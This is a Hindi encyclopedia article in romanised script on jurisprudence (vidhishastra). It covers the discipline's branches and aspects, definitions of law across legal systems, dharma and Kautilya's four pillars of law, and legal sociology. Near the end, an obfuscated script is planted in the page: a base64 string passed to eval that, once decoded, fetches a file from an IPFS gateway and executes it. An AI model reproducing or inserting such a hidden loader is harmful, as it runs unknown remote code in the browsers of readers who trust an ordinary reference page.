विधिशास्त्र

vidhishastr (aangrezi:Jurisprudence) sadharan arth mean samast vaidhanik siddhaant vidhishastr mean aantarnihit haian. vidhishastr 'joorisaproodeans' arthath‌ Juris = vidhan, Prudence = jnan. is arth mean qanoon ki sari pustakean vidhishastr ki pustakean haian. is prasang mean qanoon ka ekamatr arth hota hai desh ka sadharan qanoon jo un niyamoan se sarvatha prithakh‌ hai, jinhean qanoon se sadrishy rahane ke karan qanoon ka nam diya jata hai. yadi ham vijnan shabd ka prayog isake adhik se adhik vyapak roop mean kare jisamean bauddhik anusandhan ke kisi bhi vishay ka jnan ho jae to ham kah sakate haian ki vidhishastr desh ke sadharan qanoon ka vijnan hai.

vidhishastr ki shakhaean

vidhishastr tin shakhaoan mean vibhakt hai-

1. vaidhanik abhidarshan (Exposition)
2. vaidhanik itihas
3. vidhinirman ke siddhaant (Principles of Legisla tion)

vaidhanik abhidarshan

vaidhanik abhidarshan ka uddeshy hai, kisi prastavit vidhi ki pranali ke tathy ko, chahe vah vartaman ho athava bhootakal mean isaka astitv raha ho, upasthit karana.

vaidhanik itihas

vaidhanik itihas ka uddeshy hai us aitihasik prakriya ko upasthit karana jisase koee qanoon pranali vikasit huee hai ya huee thi.

vidhinirman ke siddhaant

vidhinirman ke siddhaant ka uddeshy hai qanoon ko upasthit karana. vah qanoon nahian jo vartaman hai ya bhootakal mean tha, balki vah qanoon jo desh, kal, patr ke anusar hona uchit hai. vidhishastr ko kisi vaidhanik pranali ke vartaman ya bhoot se apeksha nahian hai, yah isake adarshamay bhavishy se sanbaddh hai.

vidhishastr ke aang

vidhishastr siddhaant ke tin aang hote haian-

1. vishleshanatmak
2. aitihasik
3. naitik

vishleshanatmak vidhishastr

vishleshanatmak shakha mean kramabaddh vaidhanik siddhaant ke darshanik athava samany vichar hote haian. vishleshanatmak vidhishastr ka uddeshy hota hai vidhan ke maulik siddhaantoan ka vishleshan. inake aitihasik udgam, vikas, naitik bhav athava manyata par is prasang mean vichar avashyak hota hai. isake aantargat nimnalikhit vishay ate haian-

1. desh ke samany qanoon ke adhar par vishleshan
2. desh ke sadharan qanoon tatha anyany qanoon pranali ke bich parasparik sanbandh ki pariksha
3. vidhan ke vibhinn aangoan ke bhav, jisase isaka svaroop tatha vyaktitv banata hai, yatha-rajy, sarvabhaumikata, nyay ka shasan ityadi
4. vidhan ke udgam-yatha deshachar, kulachar
5. vidhan ka vaijnanik vargikaran
6. vaidhanik adhikar ki bhavana ka vishleshan
7. vaidhanik dayitv ke siddhaant ki pariksha
8. anyany vaidhanik bhavana ki samiksha, yatha-sanpatti, nyas ityadi.

aitihasik vidhishastr

aitihasik shakha mean vaidhanik itihas ka darshanik athava samany bhag hota hai. aitihasik vidhishastr moolat: vidhan ke sadharan siddhaantoan ke udgam evan unake vikas se sanbaddh hai. jin srotoan se desh ka sadharan vidhan prabhavit hota hai, ve bhi isaki sima ke aantargat hai. any shabdoan mean, yah vidhan ke mool siddhaant evan unaki paddhati ki bhavana ka itihas hai.

naitik vidhishastr

naitik shakha mean vidhananirman ke darshanik siddhaant rahate haian. kiantu ye tinoan shakhaean paraspar sanbaddh haian. at: inhean ek doosare se prithakh‌ kar in par vichar nahian kar sakate. naitik vidhishastr vidhan ki vivechana naitik gaanbhiry evan isaki poornata ki drishti se karata hai. qanoon ki pranali ke bauddhik tatv athava isake aitihasik vikas se ise koee prayojan nahian hai. vidhan ke uddeshy evan kis sima tak tatha kis roop mean isaki poorti hoti hai, yahi isaka vishay hai. sadharanat: isaka lakshy evan uddeshy kisi rajanitik pharm ke aantargat rajy ki bhautik shakti dvara nyay ka palan karane mean hai. at: naitik vidhishastr yah dekhata hai ki nyay ke siddhaant ka vidhan se kahaan tak sanbandh hai. yah naitik evan vaidhanik darshan ka milanabiandu hai. apane samany roop mean nyay, naitikata athava naitik darshan se sanbaddh hai. apane vishesh roop mean nyay, desh ke qanoon ki aantim shrankhala ke roop mean vaidhanik darshan ki us shakha se sanbaddh hai, jise naitik vidhishastr kahate haian. isaki paridhi ke aantargat samany: nimnalikhit vishay ate haian-

1. nyay ki dharana (Conception of Justic)
2. qanoon evan nyay mean sanbandh
3. nyay ke palan ke uddeshy ki poorti karane vali pranali
4. qanoon evan naitikata par adharit adhikar mean aantar
5. naitik arth evan un vaidhanik bhavanaoan ki manyata tatha siddhaant, jo aise maulik haian ki unaka vishleshanatmak vidhishastr mean adhyayan kiya ja sakata hai.

vidhishastr ki paribhasha

sansar ke bhinn bhinn deshoan mean vidhishastr ki paribhasha kianchith‌ bhinn bhinn roopoan mean ki gee hai. jarmani ke vidhan mean vidhishastr qanoon ka motamoti vah paryay hai, jisaka lakshy vaijnanik adhyayan hota hai. phraans ke vidhan mean isase nyayalay ke kshetradhikar ka bodh hota hai, jo qanoon ke 'kod' ki vikriti ev vikas karata hai. aangreji evan amariki vidhan mean sannihit haian. sanatan bharatiy vidhan mean vidhishastr dharmashastr par adharit hai. 'dharm' ki paribhasha nimnalikhit roop mean ki gee hai-

shruti: smriti. sadachar: svasy ch priyamatman:.
etachchaturvidhan prahoo: sakshaddharmasy lakshanamh‌..

arthath‌ ved, smriti, sadachar evan suniti dharm ke udgam haian. 'dharm' vyapak shabd hai. dharmik, naitik, samajik evan vaidhanik drishti se yah manushy ke kartavy evan dayitv ki samashti hai. dharmik evan dharm nirapeksh bhavana ke bich vibhajan rekha sthapit nahian ki ja sakati, kyoanki kitane hi vishay aise haian jo dharmik evan saansarik donoan haian.

sanatan dharm

bharat ka sanatan 'dharm' raja athava shasak ke adesh par adharit nahian hai. isaki manyata (Sanction) isi mean aantarnihit hai. smritikaroan aur unake poorvajoan ne kaha hai ki 'dharm bhagavanh‌ ki den hai. yah rajaoan ka raja hai. isase adhik shaktishali doosara koee nahian. isaki sahayata se shaktihin bhi shaktishali se apana adhikar le sakate haian. raja nyay ka nirmata nahian, keval isaka palak hai.'

vidhivetta aaustin kianva beantham ke siddhaant ke anusar sanatan dharm ka adhikaansh naitikata mean sannivisht ho jaega, kyoanki yah 'dharm' kisi raja athava sarvabhaum sattaprapt shasak ka adesh nahian hai. yah saty hai ki smriti apane teean qanoon nahian hai, kyoanki ise n to vyavasthapika sabha ne banaya aur n rajy ne ghoshit kiya. par yah jas riseptam (Jus Receptum) ke siddhaant par many tha arthath‌ samaj ne ise grahan kar liya tha. at: ek mat ke anusar smriti ke qanoon ka udgam samaj hi hai. isaka ek aansh naitik adesh hai, jisaka srot naisargik mana gaya hai evan avashesh paranpara evan sadachar hai. smritikaroan ke vyaktitv evan samman tatha suniti par adharit hone ke karan smriti ke vachanoan ki manyata hi inake vaidhanik vyadesh ka pradhikar hai. kautily ke arthashastr ke pramanik sanskaran prakashit hone par yah vivad uth kh da hua ki bharat mean rajanirmit vidhan dharmashastr dvara ghoshit vidhan se kisi samay adhik many tha ya nahian. kautily ne kaha hai ki vidhan char stanbhoan par adharit hai-

1. dharm (Sacred Law)
2. vyavahar (Evidence)
3. charitr (History)
4. rajashasan (Edicts of Kings).

inamean paravarti adhar kramagat poorv ke adhar se adhik shaktishali hai kiantu yah smaraniy hai ki rajashilalekh (Edicts) dvara dharmashastr mean kathit kisi bhi maulik adesh athava vyavahar ka ullanghan nahian hua. kautily ne bhi saiddhaantik roop mean yah svikar kiya tha ki rajanirmit vidhan dharmashastr ki paridhi se bahar nahian hai.

vaidhanik samajashastr

19vian shatabdi ke aranbh mean phraansisi darshanik aaugaste koant (Auguste Comte) ne soshiyal aauji (Sociology = samajashastr) shabd ka namakaran kiya. samajashastr sthool roop se samaj ka adhyayan hai. samajashastri ke adhyayan mean vidhan bhi sammilit hai kiantu usaka drishtikon se bhinn hai. vakil, adhivakta ya nirnayak ke roop mean, un niyamoan ko dekhata hai jinhean sarvasadharan ko anukaran karana chahie. samajashastravetta yah dekhata hai ki ye niyam kya haian. kuchh had tak donoan sath chal sakate haian, kyoanki vastav mean ye niyam vaanchhit charitr ke dyotak haian. kiantu samajashastravetta ko vastavik charitr mean adhik utsukata rahati hai, vaanchhit charitr ke vichar mean nahian. vaidhanik samajashastr ko aparadhashastr bhi kahate haian. yah aparadhoan ke karan, aparadhiyoan ke charitr, vibhinn prakar ke dandoan ka aparadhiyoan par prabhav - visheshat: kahaan tak dandoan se aparadh ke ghatane par prabhav p data hai- in sab ka adhyayan karata hai. isase qanoon ke sudhar mean suvidha hoti hai.

aant mean, vidhishastr se hamean us adhyayan, shodh evan anuman (Speculation) ka bodh hota hai, jinaka prathamik lakshy sarvasadharan ke prashn...'qanoon kya hai'? ka uttar dena hota hai. vidhivetta ki drishti mean qanoon un prabhavoan ki samashti hai, jinake dvara nyayalayoan mean nirnay die jate haian. qanoon ka pratham lakshy hai samajik dvandvoan ka nirakaran, yadyapi sab prakar ke dvandv is sima ke aandar nahian ate. vidhivetta rasko pauand ke anusar qanoon ka kary yah hai ki vah logoan ke parasparik hak ka santulan kare, jisase pratyek vyakti ko adhikatam mile evan samaj ke hit ke lie use nyoonatam tyag karana p de.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

• vidhishastr (bharatakhoj)